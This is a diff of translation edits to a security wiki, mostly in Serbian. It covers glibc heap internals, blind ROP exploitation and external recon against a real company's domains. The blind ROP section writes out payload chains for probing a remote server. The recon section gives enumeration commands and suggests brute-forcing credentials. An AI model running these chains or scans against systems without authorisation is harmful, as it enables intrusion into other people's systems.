Translated ['binary-exploitation/libc-heap/README.md', 'binary-exploitat
Before Width: | Height: | Size: 152 KiB After Width: | Height: | Size: 1.6 KiB |
Before Width: | Height: | Size: 1.6 KiB After Width: | Height: | Size: 32 KiB |
Before Width: | Height: | Size: 32 KiB After Width: | Height: | Size: 142 KiB |
Before Width: | Height: | Size: 142 KiB After Width: | Height: | Size: 108 KiB |
Before Width: | Height: | Size: 108 KiB After Width: | Height: | Size: 63 KiB |
Before Width: | Height: | Size: 63 KiB After Width: | Height: | Size: 36 KiB |
Before Width: | Height: | Size: 36 KiB After Width: | Height: | Size: 3.7 KiB |
Before Width: | Height: | Size: 3.7 KiB After Width: | Height: | Size: 12 KiB |
Before Width: | Height: | Size: 12 KiB After Width: | Height: | Size: 4.1 KiB |
Before Width: | Height: | Size: 4.1 KiB After Width: | Height: | Size: 131 KiB |
|
@ -197,6 +197,7 @@
|
|||
* [macOS TCC Payloads](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-payloads.md)
|
||||
* [macOS Dangerous Entitlements & TCC perms](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-dangerous-entitlements.md)
|
||||
* [macOS MACF](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-macf.md)
|
||||
* [macOS Code Signing](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-code-signing.md)
|
||||
* [macOS FS Tricks](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/README.md)
|
||||
* [macOS xattr-acls extra stuff](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/macos-xattr-acls-extra-stuff.md)
|
||||
* [macOS Users & External Accounts](macos-hardening/macos-security-and-privilege-escalation/macos-users.md)
|
||||
|
|
|
@ -25,7 +25,7 @@ Napomena: ako zatražena **memorija pređe prag**, **`mmap`** će biti korišće
|
|||
|
||||
## Arenas
|
||||
|
||||
U **multithreaded** aplikacijama, menadžer heap-a mora sprečiti **race conditions** koje bi mogle dovesti do rušenja. U početku, to je rađeno korišćenjem **globalnog mutex-a** kako bi se osiguralo da samo jedna nit može pristupiti heap-u u isto vreme, ali to je izazvalo **probleme sa performansama** zbog uskog grla uzrokovanog mutex-om.
|
||||
U **multithreaded** aplikacijama, menadžer heap-a mora sprečiti **race conditions** koje bi mogle dovesti do rušenja. U početku, to je rađeno korišćenjem **globalnog mutex-a** kako bi se osiguralo da samo jedna nit može pristupiti heap-u u isto vreme, ali to je izazvalo **probleme sa performansama** zbog uskog grla izazvanog mutex-om.
|
||||
|
||||
Da bi se to rešilo, ptmalloc2 alokator heap-a je uveo "arene", gde **svaka arena** deluje kao **odvojeni heap** sa svojim **vlastitim** podacima **strukture** i **mutex-om**, omogućavajući više niti da obavljaju operacije na heap-u bez ometanja jedna druge, sve dok koriste različite arene.
|
||||
|
||||
|
@ -46,7 +46,7 @@ Subheaps služe kao rezerve memorije za sekundarne arene u multithreaded aplikac
|
|||
3. **Postepeno Širenje sa `mprotect`**:
|
||||
* Rezervisana memorijska oblast je inicijalno označena kao `PROT_NONE`, što ukazuje da kernel još ne mora da alocira fizičku memoriju za ovaj prostor.
|
||||
* Da bi "rastegao" subheap, menadžer heap-a koristi `mprotect` da promeni dozvole stranica sa `PROT_NONE` na `PROT_READ | PROT_WRITE`, podstičući kernel da alocira fizičku memoriju za prethodno rezervisane adrese. Ovaj postepeni pristup omogućava subheap-u da se širi po potrebi.
|
||||
* Kada se ceo subheap iscrpi, menadžer heap-a kreira novi subheap da nastavi alokaciju.
|
||||
* Kada se ceo subheap iscrpi, menadžer heap-a kreira novi subheap da bi nastavio alokaciju.
|
||||
|
||||
### heap\_info <a href="#heap_info" id="heap_info"></a>
|
||||
|
||||
|
@ -155,11 +155,11 @@ struct malloc_chunk* bk_nextsize;
|
|||
|
||||
typedef struct malloc_chunk* mchunkptr;
|
||||
```
|
||||
Kao što je prethodno komentarisano, ovi delovi takođe imaju neke metapodatke, veoma dobro predstavljene na ovoj slici:
|
||||
Kao što je prethodno komentarisano, ovi delovi takođe imaju neke metapodatke, vrlo dobro predstavljene na ovoj slici:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1242).png" alt=""><figcaption><p><a href="https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png">https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png</a></p></figcaption></figure>
|
||||
|
||||
Metapodaci obično imaju 0x08B koji označava trenutnu veličinu dela koristeći poslednja 3 bita za označavanje:
|
||||
Metapodaci obično imaju vrednost 0x08B koja označava trenutnu veličinu dela koristeći poslednje 3 bita za označavanje:
|
||||
|
||||
* `A`: Ako je 1, dolazi iz podheap-a, ako je 0, u glavnoj areni je
|
||||
* `M`: Ako je 1, ovaj deo je deo prostora dodeljenog sa mmap i nije deo heap-a
|
||||
|
@ -408,23 +408,23 @@ ptr = malloc(0x10);
|
|||
strcpy(ptr, "panda");
|
||||
}
|
||||
```
|
||||
Postavite tačku prekida na kraju glavne funkcije i hajde da saznamo gde je informacija sačuvana:
|
||||
Postavite prekid na kraju glavne funkcije i hajde da saznamo gde je informacija sačuvana:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1239).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Moguće je videti da je string panda sačuvan na `0xaaaaaaac12a0` (što je adresa koju je vratio malloc unutar `x0`). Proveravajući 0x10 bajtova pre, moguće je videti da `0x0` predstavlja da **prethodni deo nije korišćen** (dužina 0) i da je dužina ovog dela `0x21`.
|
||||
|
||||
Dodatni prostori rezervisani (0x21-0x10=0x11) dolaze od **dodatih zaglavlja** (0x10) i 0x1 ne znači da je rezervisano 0x21B, već poslednja 3 bita dužine trenutnog zaglavlja imaju neka posebna značenja. Pošto je dužina uvek usklađena sa 16-bajtovima (na 64-bitnim mašinama), ovi bitovi se zapravo nikada neće koristiti za broj dužine.
|
||||
Dodatni prostori rezervisani (0x21-0x10=0x11) dolaze od **dodatih zaglavlja** (0x10) i 0x1 ne znači da je rezervisano 0x21B, već poslednja 3 bita dužine trenutnog zaglavlja imaju neka posebna značenja. Pošto je dužina uvek usklađena sa 16 bajtova (na 64-bitnim mašinama), ovi bitovi se zapravo nikada neće koristiti za broj dužine.
|
||||
```
|
||||
0x1: Previous in Use - Specifies that the chunk before it in memory is in use
|
||||
0x2: Is MMAPPED - Specifies that the chunk was obtained with mmap()
|
||||
0x4: Non Main Arena - Specifies that the chunk was obtained from outside of the main arena
|
||||
```
|
||||
### Multithreading Example
|
||||
### Пример вишенитног програмирања
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Multithread</summary>
|
||||
<summary>Вишенитно</summary>
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
|
@ -470,11 +470,11 @@ return 0;
|
|||
|
||||
Debugging prethodnog primera moguće je videti kako na početku postoji samo 1 arena:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Zatim, nakon pozivanja prvog threada, onog koji poziva malloc, kreira se nova arena:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
i unutar nje mogu se naći neki chunks:
|
||||
|
||||
|
|
|
@ -39,16 +39,16 @@ Ovaj gadget u suštini omogućava da se potvrdi da je nešto zanimljivo izvršen
|
|||
|
||||
### **5. Pronađite BROP gadget**
|
||||
|
||||
Ova tehnika koristi [**ret2csu**](ret2csu.md) gadget. I to je zato što, ako pristupite ovom gadgetu usred nekih instrukcija, dobijate gadgete za kontrolu **`rsi`** i **`rdi`**:
|
||||
Ova tehnika koristi [**ret2csu**](ret2csu.md) gadget. I to je zato što ako pristupite ovom gadgetu usred nekih instrukcija dobijate gadgete za kontrolu **`rsi`** i **`rdi`**:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
|
||||
|
||||
Ovo bi bili gadgeti:
|
||||
|
||||
* `pop rsi; pop r15; ret`
|
||||
* `pop rdi; ret`
|
||||
|
||||
Primetite kako je sa tim gadgetima moguće **kontrolisati 2 argumenta** funkcije koju pozivate.
|
||||
Primetite kako sa tim gadgetima možete **kontrolisati 2 argumenta** funkcije koju pozivate.
|
||||
|
||||
Takođe, primetite da ret2csu gadget ima **veoma jedinstvenu potpis** jer će iz steka izvući 6 registara. Dakle, slanjem lanca poput:
|
||||
|
||||
|
@ -64,7 +64,7 @@ Poznavajući adresu ret2csu gadgeta, moguće je **izvesti adresu gadgeta za kont
|
|||
|
||||
### 6. Pronađite PLT
|
||||
|
||||
PLT tabela se može pretraživati od 0x400000 ili od **otkrivene RIP adrese** sa steka (ako se koristi **PIE**). **Unosi** tabele su **razdvojeni po 16B** (0x10B), i kada se pozove jedna funkcija, server se ne sruši čak i ako argumenti nisu tačni. Takođe, provera adrese unosa u **PLT + 6B takođe ne sruši** jer je to prvi kod koji se izvršava.
|
||||
PLT tabela može se pretraživati od 0x400000 ili od **otkrivene RIP adrese** sa steka (ako se koristi **PIE**). **Unosi** tabele su **razdvojeni po 16B** (0x10B), i kada se pozove jedna funkcija server se ne sruši čak i ako argumenti nisu tačni. Takođe, provera adrese unosa u **PLT + 6B takođe ne sruši** jer je to prvi kod koji se izvršava.
|
||||
|
||||
Stoga, moguće je pronaći PLT tabelu proverom sledećih ponašanja:
|
||||
|
||||
|
@ -74,22 +74,22 @@ Stoga, moguće je pronaći PLT tabelu proverom sledećih ponašanja:
|
|||
|
||||
### 7. Pronalazak strcmp
|
||||
|
||||
Funkcija **`strcmp`** postavlja registar **`rdx`** na dužinu stringa koji se upoređuje. Imajte na umu da je **`rdx`** **treći argument** i treba da bude **veći od 0** kako bismo kasnije koristili `write` da otkrijemo program.
|
||||
Funkcija **`strcmp`** postavlja registar **`rdx`** na dužinu stringa koji se upoređuje. Imajte na umu da je **`rdx`** **treći argument** i potrebno je da bude **veći od 0** kako bismo kasnije koristili `write` da otkrijemo program.
|
||||
|
||||
Moguće je pronaći lokaciju **`strcmp`** u PLT-u na osnovu njenog ponašanja koristeći činjenicu da sada možemo kontrolisati prva 2 argumenta funkcija:
|
||||
|
||||
* strcmp(\<non read addr>, \<non read addr>) -> rušenje
|
||||
* strcmp(\<non read addr>, \<read addr>) -> rušenje
|
||||
* strcmp(\<read addr>, \<non read addr>) -> rušenje
|
||||
* strcmp(\<read addr>, \<read addr>) -> nema rušenja
|
||||
* strcmp(\<nečitljiva adresa>, \<nečitljiva adresa>) -> rušenje
|
||||
* strcmp(\<nečitljiva adresa>, \<čitljiva adresa>) -> rušenje
|
||||
* strcmp(\<čitljiva adresa>, \<nečitljiva adresa>) -> rušenje
|
||||
* strcmp(\<čitljiva adresa>, \<čitljiva adresa>) -> nema rušenja
|
||||
|
||||
Moguće je proveriti ovo pozivajući svaki unos PLT tabele ili koristeći **PLT spor put** koji se u suštini sastoji od **pozivanja unosa u PLT tabeli + 0xb** (što poziva **`dlresolve`**) praćeno na steku sa **brojem unosa koji želite da proverite** (počinjajući od nule) da biste skenirali sve PLT unose od prvog:
|
||||
Moguće je proveriti ovo pozivajući svaki unos PLT tabele ili koristeći **PLT spor put** koji se u suštini sastoji od **pozivanja unosa u PLT tabeli + 0xb** (što poziva **`dlresolve`**) praćeno na steku sa **brojem unosa koji želite da proverite** (počinjajući od nule) da skenirate sve PLT unose od prvog:
|
||||
|
||||
* strcmp(\<non read addr>, \<read addr>) -> rušenje
|
||||
* strcmp(\<nečitljiva adresa>, \<čitljiva adresa>) -> rušenje
|
||||
* `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -> Rušiće
|
||||
* strcmp(\<read addr>, \<non read addr>) -> rušenje
|
||||
* strcmp(\<čitljiva adresa>, \<nečitljiva adresa>) -> rušenje
|
||||
* `b'A' * offset + canary + rbp + (BROP + 0x9) + p64(0x300) + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`
|
||||
* strcmp(\<read addr>, \<read addr>) -> nema rušenja
|
||||
* strcmp(\<čitljiva adresa>, \<čitljiva adresa>) -> nema rušenja
|
||||
* `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`
|
||||
|
||||
Zapamtite da:
|
||||
|
@ -98,7 +98,7 @@ Zapamtite da:
|
|||
* BROP + 0x9 ukazuje na **`pop RDI; ret;`**
|
||||
* PLT + 0xb ukazuje na poziv **dl\_resolve**.
|
||||
|
||||
Nakon što je pronađen `strcmp`, moguće je postaviti **`rdx`** na vrednost veću od 0.
|
||||
Nakon što pronađete `strcmp`, moguće je postaviti **`rdx`** na vrednost veću od 0.
|
||||
|
||||
{% hint style="success" %}
|
||||
Imajte na umu da obično `rdx` već sadrži vrednost veću od 0, tako da ovaj korak možda nije neophodan.
|
||||
|
@ -106,7 +106,7 @@ Imajte na umu da obično `rdx` već sadrži vrednost veću od 0, tako da ovaj ko
|
|||
|
||||
### 8. Pronalazak Write ili ekvivalentnog
|
||||
|
||||
Na kraju, potreban je gadget koji eksfiltrira podatke kako bi se eksfiltrirao binarni fajl. I u ovom trenutku je moguće **kontrolisati 2 argumenta i postaviti `rdx` veći od 0.**
|
||||
Na kraju, potreban je gadget koji eksfiltrira podatke kako bi se eksfiltrirao binarni fajl. I u ovom trenutku moguće je **kontrolisati 2 argumenta i postaviti `rdx` veći od 0.**
|
||||
|
||||
Postoje 3 uobičajene funkcije koje bi mogle biti zloupotrebljene za ovo:
|
||||
|
||||
|
@ -118,7 +118,7 @@ Međutim, originalni rad pominje samo **`write`**, pa hajde da pričamo o tome:
|
|||
|
||||
Trenutni problem je što ne znamo **gde se funkcija write nalazi unutar PLT-a** i ne znamo **fd broj da pošaljemo podatke našem soketu**.
|
||||
|
||||
Međutim, znamo **gde se nalazi PLT tabela** i moguće je pronaći write na osnovu njenog **ponašanja**. I možemo stvoriti **nekoliko veza** sa serverom i koristiti **visok FD** nadajući se da će se poklopiti sa nekim od naših veza.
|
||||
Međutim, znamo **gde se nalazi PLT tabela** i moguće je pronaći write na osnovu njenog **ponašanja**. I možemo stvoriti **nekoliko veza** sa serverom i koristiti **visok FD** nadajući se da se poklapa sa nekim od naših veza.
|
||||
|
||||
Potpis ponašanja za pronalaženje tih funkcija:
|
||||
|
||||
|
|
|
@ -1,36 +1,36 @@
|
|||
# Metodologija Eksterne Recon
|
||||
# External Recon Methodology
|
||||
|
||||
{% hint style="success" %}
|
||||
Učite i vežbajte AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Učite i vežbajte GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Podrška HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ako ste zainteresovani za **karijeru u hakovanju** i da hakujete ono što se ne može hakovati - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
## Otkrića imovine
|
||||
## Otkrivanje sredstava
|
||||
|
||||
> Tako su vam rekli da je sve što pripada nekoj kompaniji unutar opsega, i želite da saznate šta ta kompanija zapravo poseduje.
|
||||
|
||||
Cilj ove faze je da se dobiju sve **kompanije koje poseduje glavna kompanija** i zatim sve **imovine** tih kompanija. Da bismo to postigli, uradićemo sledeće:
|
||||
Cilj ove faze je da se dobiju sve **kompanije koje poseduje glavna kompanija** i zatim sva **sredstva** tih kompanija. Da bismo to postigli, uradićemo sledeće:
|
||||
|
||||
1. Pronaći akvizicije glavne kompanije, to će nam dati kompanije unutar opsega.
|
||||
2. Pronaći ASN (ako postoji) svake kompanije, to će nam dati IP opsege koje poseduje svaka kompanija.
|
||||
3. Koristiti obrnute whois pretrage da tražimo druge unose (imena organizacija, domene...) povezane sa prvim (ovo se može raditi rekurzivno).
|
||||
4. Koristiti druge tehnike kao što su shodan `org` i `ssl` filteri da tražimo druge imovine (trik sa `ssl` se može raditi rekurzivno).
|
||||
3. Koristiti obrnute whois pretrage da tražimo druge unose (imena organizacija, domene...) povezane sa prvim (to se može raditi rekurzivno).
|
||||
4. Koristiti druge tehnike kao što su shodan `org` i `ssl` filteri da tražimo druga sredstva (trik sa `ssl` se može raditi rekurzivno).
|
||||
|
||||
### **Akvizicije**
|
||||
|
||||
|
@ -38,14 +38,14 @@ Prvo, treba da znamo koje **druge kompanije poseduje glavna kompanija**.\
|
|||
Jedna opcija je da posetite [https://www.crunchbase.com/](https://www.crunchbase.com), **pretražite** **glavnu kompaniju**, i **kliknite** na "**akvizicije**". Tamo ćete videti druge kompanije koje je glavna kompanija akvizirala.\
|
||||
Druga opcija je da posetite **Wikipedia** stranicu glavne kompanije i potražite **akvizicije**.
|
||||
|
||||
> U redu, u ovom trenutku trebali biste znati sve kompanije unutar opsega. Hajde da saznamo kako da pronađemo njihovu imovinu.
|
||||
> U redu, u ovom trenutku trebali biste znati sve kompanije unutar opsega. Hajde da saznamo kako da pronađemo njihova sredstva.
|
||||
|
||||
### **ASN-ovi**
|
||||
|
||||
Broj autonomnog sistema (**ASN**) je **jedinstveni broj** dodeljen **autonomnom sistemu** (AS) od strane **Internet Assigned Numbers Authority (IANA)**.\
|
||||
**AS** se sastoji od **blokova** **IP adresa** koji imaju jasno definisanu politiku za pristup spoljnim mrežama i kojima upravlja jedna organizacija, ali se mogu sastojati od više operatera.
|
||||
|
||||
Zanimljivo je saznati da li je **kompanija dodelila neki ASN** da bi pronašla svoje **IP opsege.** Bilo bi zanimljivo izvršiti **test ranjivosti** protiv svih **hostova** unutar **opsega** i **tražiti domene** unutar ovih IP adresa.\
|
||||
Zanimljivo je saznati da li **kompanija ima dodeljen neki ASN** da bismo pronašli njene **IP opsege.** Biće zanimljivo izvršiti **test ranjivosti** protiv svih **hostova** unutar **opsega** i **tražiti domene** unutar ovih IP adresa.\
|
||||
Možete **pretraživati** po imenu kompanije, po **IP-u** ili po **domenu** na [**https://bgp.he.net/**](https://bgp.he.net)**.**\
|
||||
**U zavisnosti od regiona kompanije, ovi linkovi bi mogli biti korisni za prikupljanje dodatnih podataka:** [**AFRINIC**](https://www.afrinic.net) **(Afrika),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Severna Amerika),** [**APNIC**](https://www.apnic.net) **(Azija),** [**LACNIC**](https://www.lacnic.net) **(Latinska Amerika),** [**RIPE NCC**](https://www.ripe.net) **(Evropa). U svakom slučaju, verovatno su sve** korisne informacije **(IP opsezi i Whois)** već prikazane u prvom linku.
|
||||
```bash
|
||||
|
@ -76,7 +76,7 @@ Možete pronaći IP i ASN domena koristeći [http://ipv4info.com/](http://ipv4in
|
|||
### **Traženje ranjivosti**
|
||||
|
||||
U ovom trenutku znamo **sve resurse unutar opsega**, tako da, ako vam je dozvoljeno, možete pokrenuti neki **skener ranjivosti** (Nessus, OpenVAS) na svim hostovima.\
|
||||
Takođe, možete pokrenuti neke [**port skenove**](../pentesting-network/#discovering-hosts-from-the-outside) **ili koristiti usluge kao što je** shodan **da pronađete** otvorene portove **i u zavisnosti od onoga što pronađete, trebali biste** pogledati u ovoj knjizi kako da pentestujete nekoliko mogućih usluga koje rade.\
|
||||
Takođe, možete pokrenuti neke [**port skenove**](../pentesting-network/#discovering-hosts-from-the-outside) **ili koristiti usluge kao što je** shodan **da pronađete** otvorene portove **i u zavisnosti od onoga što pronađete, trebali biste** pogledati u ovu knjigu kako da pentestujete nekoliko mogućih usluga koje rade.\
|
||||
**Takođe, vredi napomenuti da možete pripremiti neke** liste podrazumevanih korisničkih imena **i** lozinki **i pokušati da** bruteforce-ujete usluge sa [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray).
|
||||
|
||||
## Domeni
|
||||
|
@ -113,7 +113,7 @@ Možete koristiti online alate kao što su:
|
|||
* [https://www.domainiq.com/](https://www.domainiq.com) - Nije besplatno
|
||||
|
||||
Možete automatizovati ovaj zadatak koristeći [**DomLink** ](https://github.com/vysecurity/DomLink) (zahteva whoxy API ključ).\
|
||||
Takođe možete izvršiti neku automatsku obrnutu whois pretragu sa [amass](https://github.com/OWASP/Amass): `amass intel -d tesla.com -whois`
|
||||
Takođe možete izvršiti neku automatsku obrnutu whois otkriće sa [amass](https://github.com/OWASP/Amass): `amass intel -d tesla.com -whois`
|
||||
|
||||
**Napomena da možete koristiti ovu tehniku da otkrijete više imena domena svaki put kada pronađete novi domen.**
|
||||
|
||||
|
@ -174,7 +174,7 @@ Check out this [**writeup for more information**](https://swarm.ptsecurity.com/d
|
|||
|
||||
### Mail DMARC information
|
||||
|
||||
You can use a web such as [https://dmarc.live/info/google.com](https://dmarc.live/info/google.com) or a tool such as [https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains) to find **domains and subdomain sharing the same dmarc information**.
|
||||
You can use a web such as [https://dmarc.live/info/google.com](https://dmarc.live/info/google.com) or a tool such as [https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains) to find **domeni i poddomeni koji dele iste dmarc informacije**.
|
||||
|
||||
### **Passive Takeover**
|
||||
|
||||
|
@ -194,7 +194,7 @@ You could access the **TLS certificate** of the main web page, obtain the **Orga
|
|||
|
||||
**Assetfinder**
|
||||
|
||||
[**Assetfinder** ](https://github.com/tomnomnom/assetfinder)is a tool that look for **domains related** with a main domain and **subdomains** of them, pretty amazing.
|
||||
[**Assetfinder** ](https://github.com/tomnomnom/assetfinder)is a tool that look for **domeni povezani** sa glavnim domenom i **poddomenima** njih, prilično neverovatno.
|
||||
|
||||
### **Looking for vulnerabilities**
|
||||
|
||||
|
@ -220,7 +220,7 @@ Note that some of the tools and techniques to find domains can also help to find
|
|||
|
||||
### **DNS**
|
||||
|
||||
Let's try to get **subdomains** from the **DNS** records. We should also try for **Zone Transfer** (If vulnerable, you should report it).
|
||||
Let's try to get **poddomeni** from the **DNS** records. We should also try for **Zone Transfer** (If vulnerable, you should report it).
|
||||
```bash
|
||||
dnsrecon -a -d tesla.com
|
||||
```
|
||||
|
@ -307,7 +307,7 @@ curl -s "https://crt.sh/?q=%25.$1" \
|
|||
}
|
||||
crt tesla.com
|
||||
```
|
||||
* [**gau**](https://github.com/lc/gau)**:** preuzima poznate URL-ove iz AlienVault-ove Open Threat Exchange, Wayback Machine i Common Crawl za bilo koju datu domenu.
|
||||
* [**gau**](https://github.com/lc/gau)**:** preuzima poznate URL adrese iz AlienVault-ove Open Threat Exchange, Wayback Machine i Common Crawl za bilo koju datu domenu.
|
||||
```bash
|
||||
# Get subdomains from GAUs found URLs
|
||||
gau --subs tesla.com | cut -d "/" -f 3 | sort -u
|
||||
|
@ -337,7 +337,7 @@ python3 censys-subdomain-finder.py tesla.com
|
|||
```bash
|
||||
python3 DomainTrail.py -d example.com
|
||||
```
|
||||
* [**securitytrails.com**](https://securitytrails.com/) ima besplatan API za pretragu subdomena i istoriju IP adresa
|
||||
* [**securitytrails.com**](https://securitytrails.com/) ima besplatan API za pretragu subdomena i istorije IP adresa
|
||||
* [**chaos.projectdiscovery.io**](https://chaos.projectdiscovery.io/#/)
|
||||
|
||||
Ovaj projekat nudi **besplatno sve subdomene povezane sa bug-bounty programima**. Ove podatke možete pristupiti i koristeći [chaospy](https://github.com/dr-0x0x/chaospy) ili čak pristupiti opsegu koji koristi ovaj projekat [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list)
|
||||
|
@ -356,11 +356,11 @@ Za ovu akciju biće vam potrebne neke **uobičajene liste reči za subdomene kao
|
|||
* [https://github.com/pentester-io/commonspeak](https://github.com/pentester-io/commonspeak)
|
||||
* [https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS](https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS)
|
||||
|
||||
Takođe i IP adrese dobrih DNS resolvera. Da biste generisali listu pouzdanih DNS resolvera, možete preuzeti resolvere sa [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) i koristiti [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) da ih filtrirate. Ili možete koristiti: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt)
|
||||
I takođe IP adrese dobrih DNS resolvera. Da biste generisali listu pouzdanih DNS resolvera, možete preuzeti resolvere sa [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) i koristiti [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) da ih filtrirate. Ili možete koristiti: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt)
|
||||
|
||||
Najpreporučivaniji alati za DNS brute-force su:
|
||||
|
||||
* [**massdns**](https://github.com/blechschmidt/massdns): Ovo je bio prvi alat koji je efikasno izvršavao DNS brute-force. Veoma je brz, međutim sklon je lažnim pozitivnim rezultatima.
|
||||
* [**massdns**](https://github.com/blechschmidt/massdns): Ovo je bio prvi alat koji je efikasno izveo DNS brute-force. Veoma je brz, međutim sklon je lažnim pozitivnim rezultatima.
|
||||
```bash
|
||||
sed 's/$/.domain.com/' subdomains.txt > bf-subdomains.txt
|
||||
./massdns -r resolvers.txt -w /tmp/results.txt bf-subdomains.txt
|
||||
|
@ -390,8 +390,8 @@ Nakon što ste pronašli poddomene koristeći otvorene izvore i brute-forcing, m
|
|||
```bash
|
||||
cat subdomains.txt | dnsgen -
|
||||
```
|
||||
* [**goaltdns**](https://github.com/subfinder/goaltdns): Dati domene i poddomene generišite permutacije.
|
||||
* Možete dobiti goaltdns permutacije **wordlist** u [**ovde**](https://github.com/subfinder/goaltdns/blob/master/words.txt).
|
||||
* [**goaltdns**](https://github.com/subfinder/goaltdns): Dati domeni i subdomeni generišite permutacije.
|
||||
* Možete dobiti goaltdns permutacije **wordlist** [**ovde**](https://github.com/subfinder/goaltdns/blob/master/words.txt).
|
||||
```bash
|
||||
goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt
|
||||
```
|
||||
|
@ -399,7 +399,7 @@ goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3
|
|||
```
|
||||
gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
|
||||
```
|
||||
